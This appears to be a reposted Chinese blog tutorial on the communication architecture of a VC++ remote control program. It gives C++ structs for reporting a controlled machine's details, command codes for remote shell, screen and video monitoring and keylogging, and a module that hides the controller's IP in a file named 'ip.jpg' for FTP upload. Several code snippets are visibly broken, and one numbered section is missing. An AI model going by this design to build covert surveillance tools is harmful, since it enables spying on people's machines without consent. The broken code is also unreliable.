您的位置:首页 > 编程语言 > C语言/C++

VC++远程控制软件的通信架构与源码分析

2011-06-27 06:36 645 查看
经过实际的考虑并结合当前的网络编程的流行技术,将实现最流行的编程技术以及实现原理介绍给大家。
1. 基本信息结构
被控制端连接到远程控制端,被控制端会将本地的计算机的基本信息发送到远程控制端。发送的基本信息包括:被控制端的计算机名称、用户名、操作系统、内存、版本号、硬盘序列号…..等。其中增加硬盘序列号的作用主要是作为计算机连接时唯一的标识,方便寻找连接到控制端的被控制端socket号。被控端上报基本信息的结构设计代码如下:
typedef struct tagSytemInit
{
char computer[32]; //计算机名称
char user[32]; //用户名
char os[72]; //操作系统
char processor[16]; //CPU
char mem[16]; //内存
char version[16]; //版本号
char HDSerial[32]; //硬盘序列号
}SYSTEMINIT,*LPSYSTEMINIT;

2. 临时连接结构
控制端运行后监听的端口,当与被控制进行通信连连接时,用该结构来临时存储连接到被控制端的socket和相应的硬盘序列号。临时连接结构代码如下:

typedef struct tagTmpSocket {
SOCKET ClientSocket; //被控端socket
char HDSerial[64]; //硬盘序列号
}TMPSOCKET,*LPTMPSOCKET;
3. 进程通信结构
远程控制端要控制被控端,就要实现控制端和被控制端的连接以及已经两者进程之间的通信。这种通信是指网络上不同计算机得进程之间的socket通信,需要IP地址和端口来找到控制端货被控端的进程服务。
在VC的工程中,声明一个通信结构保存socket、IP地址和端口,代码如下:
typedef struct tagLinkInfo {

SOCKET s; //进程通信socket
string strBindIp; //网络中的主机IP
u_short BindPort; //网络中开启的服务网端口

}LINKINFO,*LPLINKINFO;

4. 设计进程传递的原理
控制远程计算机,使被控端性能保持较好的状态,进程管理很重要。要实现进程管理,被控端需要将计算机当中的进程的相关信息发送到控制端。所以说,只要能获取到远程计算机的进程PID、进程名、和进程路径的3个成员变量。代码如下:
typedef struct tagProcessInfo
{
DWORD PID; //进程ID
char ProcName[64]; //进程名
char ProcPath[128]; //进程路径

}PROCESSINFO,*LPPROCESSINFO;

5. 传输命令结构体的定义
在执行进程管理功能钱,需要通知被控端一个COMMAND消息,即执行进程管理功能,在VC工程的公用头文件如stdaf.h中加入进程管理预定义宏,代码如下:
#define CMD_PROCESS_MANAGE 101
传输进程管理功能命令,需要传输该命令的ID值、接收数据及接收数据的大小。所以构建传输命令结构需要包含上述3个成员变量,代码如下:
typedef struct tagCommand
{
int wCmd; //命令ID值
DWORD DataSize; //后接数据大小//
char tmp[32];
}COMMAND;

6. 传输命令结构的设计
为了方便记忆远程控制软件的各项功能,为各项功能设置预定义宏命令,具体如下代码:
#define CMD_NULL 100 //关闭连接命令
#define CMD_PROCESS_MANAGE 101 //进程管理命令
#define CMD_SERVICE_MANAGE 102 //服务管理命令
#define CMD_FILE_MANAGE 103 //文件管理命令
#define CMD_REG_MANAGE 104 //注册表管理命令
#define CMD_SHELL_MANAGE 105 //远程shell命令
#define CMD_SCREEN_MANAGE 106 //屏幕控制命令
#define CMD_VIDEO_MANAGE 107 //视频监控命令
#define CMD_KEYLOG_MANAGE 108 //键盘记录命令
#define CMD_PROCESS_KILL 109 //杀进程
#define CMD_SERVICE_DEL 110 //删除进程
如果大家后期开发还需要增加新的功能,可以在这预定义宏命令后面继续扩展预定义宏。

7. 进程管理命令的调度过程
服务端程序开始→创建MyClientThread线程→调用GetClientSysteminfo()获取基本信息→进入命令解析循环等待客户端发送信息→如果发现CMD¬_PROCESS¬_MANAGE调用cmd_proc_manage()→GetProcessList()→发送到客户端→服务端显示。

8.客户端添加鼠标左双击事件,其功能实现如下代码所示:

void CMyClientDlg::OnClickList(NMHDR* pNMHDR, LRESULT* pResult)
{
// TODO: Add your control notification handler code here
NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;

if(pNMListView->iItem != -1)
{
/* ////////////////////////////////调试用代码 //////////////////////////
CString strtemp;
strtemp.Format("单击的是第%d行第%d列",pNMListView->iItem, pNMListView->iSubItem);
AfxMessageBox(strtemp);

strtemp.Format("%d",item);
AfxMessageBox(strtemp);
*/

item = pNMListView->iItem;
}

*pResult = 0;
}

进程信息管理的功能及显示客户端的功能代码的实现,代码如下:

void CMyClientDlg::OnManageProcinfo()
{
CProcManageDlg m_ProcManageDlg;
char tmp_HDSerial[64] = {0};
m_clientdlg->m_list.GetItemText(item,7,tmp_HDSerial,64);
for(int j = 0; j<tmp_vector.size();j++)
{
if (stricmp(tmp_HDSerial,tmp_vector[j]->HDSerial)==0)
{
m_ProcManageDlg.ClientSocket=tmp_vector[j]->ClientSocket;
}

}

m_ProcManageDlg.DoModal();
}

/////////////////////////////////////////////////////////////////////////////////////////
客户端显示函数过程
//////////////////////////////////////////////////////////////////////////////////////////

DWORD WINAPI InitList(std::vector<PROCESSINFO *> pVecTor)
{

//std::vector<PROCESSINFO> *pVecTor = (std::vector<PROCESSINFO>) lp;
//std::vector<PROCESSINFO> *pVecTor =(vector<PROCESSINFO> ) lp;

m_procmanagedlg->m_list.DeleteAllItems();
for(DWORD i = 0; i < pVecTor.size(); i++)
{
CString tmp = _T("");

tmp.Format("%d",pVecTor->PID); //****得到vector 里的结构的一部分**** //pVecTor->at(i).PID

m_procmanagedlg->m_list.InsertItem(i,"");
m_procmanagedlg->m_list.SetItemText(i,0,tmp);

tmp.Format("%s",pVecTor->ProcName);

m_procmanagedlg->m_list.InsertItem(i,(const char *)1);
m_procmanagedlg->m_list.SetItemText(i,1,tmp);

tmp.Format("%s",pVecTor->ProcPath);

m_procmanagedlg->m_list.InsertItem(i,(const char *)2);
m_procmanagedlg->m_list.SetItemText(i,2,tmp);

}

return 0;

10.更新IP模块代码实现
客户端负责更新虚拟空间中的IP信息,这些信息包括客户端当前IP、端口、FTP地址、FTP用户名、FTP密码、上传IP信息文件到FTP地址所在的路径。所以在程序开始时定义这些变量,如下代码:
CString ip;
CString port;
CString ftpip;
CString user;
CString pwd;
CString m_ftpUrl;

ip=_T(“192.168.1.1”);
port=_T(“8000”);

GetDlgItemText(IDC_UPATEIP,ip);
GetDlgItemText(IDC_IP_PORT);
GetDlgItemText(IDC_FTP_IP,ftpip);
GetDlgItemText(IDC_USER,user);
GetDlgItemText(IDC_PWD,pwd);
GetDlgItemText(IDC_FTPPATH,m_ftpUrl);

Ip=ip+”:”+port;

从配置界面得到用户自定义的IP、端口等信息,生成要上传到虚拟主机的IP地址更新文件。生成文件使用函数CreateFile()即可实现,具体如下面的代码:
//创建IP更新软件
HANDLE hFile;
hFile=CreateFile(“ip.jpg”
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAIL,
NULL);
DWORD dwSize;
If (hFile)
{
WriteFile(hFile,ip,ip.GetLength(),&dwSize,NULL);
}
CloseHandle (hFile);
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: